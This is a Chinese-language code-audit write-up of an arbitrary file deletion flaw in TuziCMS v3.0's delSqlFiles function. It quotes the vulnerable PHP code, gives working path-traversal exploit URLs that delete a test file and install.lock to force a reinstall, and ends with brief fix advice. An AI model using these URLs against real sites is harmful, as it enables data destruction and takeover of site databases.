0x00 环境准备

TuziCMS官网:http://www.tuzicms.com/

网站源码版本:TuziCMS_v3.0_20161220

程序源码下载:http://www.tuzicms.com/index.php/download

测试网站首页:

【代码审计】TuziCMS_v3.0_任意文件删除漏洞分析

0x01 代码分析

1、漏洞文件位置:

\tuzicms\App\Manage\Controller\DatabaseController.class.php 第284-314行:

(由于部分TuziCMS 采用zend解密,可使用如下在线工具进行代码还原。

php混淆加密在线还原:http://dezend.qiling.org/free/

  1. public function delSqlFiles()  
  2. {  
  3.     $id = $_SESSION["id"];  
  4.     $m = manage\controller\d("Admin");  
  5.     $arr = $m->find($id);  
  6.     $arr = $arr["admin_type"];  
  7.   
  8.     if ($arr == 1) {  
  9.         $this->error("你不是超级管理员,没有限权!");  
  10. 10.     }  
  11. 11.   
  12. 12.     $id = manage\controller\i("id", 0, "intval");  
  13. 13.     $batchFlag = manage\controller\i("get.batchFlag", 0, "intval");  
  14. 14.   
  15. 15.     if ($batchFlag) {  
  16. 16.         $files = manage\controller\i("key", array());  
  17. 17.     }  
  18. 18.     else {  
  19. 19.         $files[] = manage\controller\i("sqlfilename", "");  
  20. 20.     }  
  21. 21.   
  22. 22.     if (empty($files)) {  
  23. 23.         $this->error("请选择要删除的sql文件");  
  24. 24.     }  
  25. 25.   
  26. 26.     foreach ($files as $file ) {  
  27. 27.         manage\controller\unlink($this->getDbPath() . "/" . $file);  
  28. 28.     }  
  29. 29.   
  30. 30.     $this->success("已删除:" . manage\controller\implode(",", $files), manage\controller\u("Database/restore"));  

31. }  

这段删除文件的函数中,首先进行权限判断,接着将获取到sqlfilename参数带入unlink函数中进行删除操作,可以看到参数并未进行任何过滤或处理,导致程序在实现上存在任意文件删除漏洞,攻击者可通过该漏洞删除任意文件,如删除install.lck进行CMS重装,劫持网站数据库。

0x02 漏洞利用

1、在网站根目录新建一个test.txt文件,作为任意文件删除漏洞测试:

http://127.0.0.1/index.php?s=/Manage/Database/delSqlFiles/sqlfilename/..\\..\..\\test.txt

 【代码审计】TuziCMS_v3.0_任意文件删除漏洞分析

2、使用..进行目录跳转,通过构造URL删除根目录下的测试文件。

 【代码审计】TuziCMS_v3.0_任意文件删除漏洞分析

3、进一步利用,删除安装目录下的install.lock,进行CMS重装,劫持网站数据。

http://127.0.0.1/index.php?s=/Manage/Database/delSqlFiles/sqlfilename/..\\..\..\\Install\\install.lock

 【代码审计】TuziCMS_v3.0_任意文件删除漏洞分析

0x03 修复建议

1、过滤..,用来防止目录跳转

2、对要删除的文件名进行严格限制

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】TuziCMS_v3.0_任意文件删除漏洞分析 

相关文章: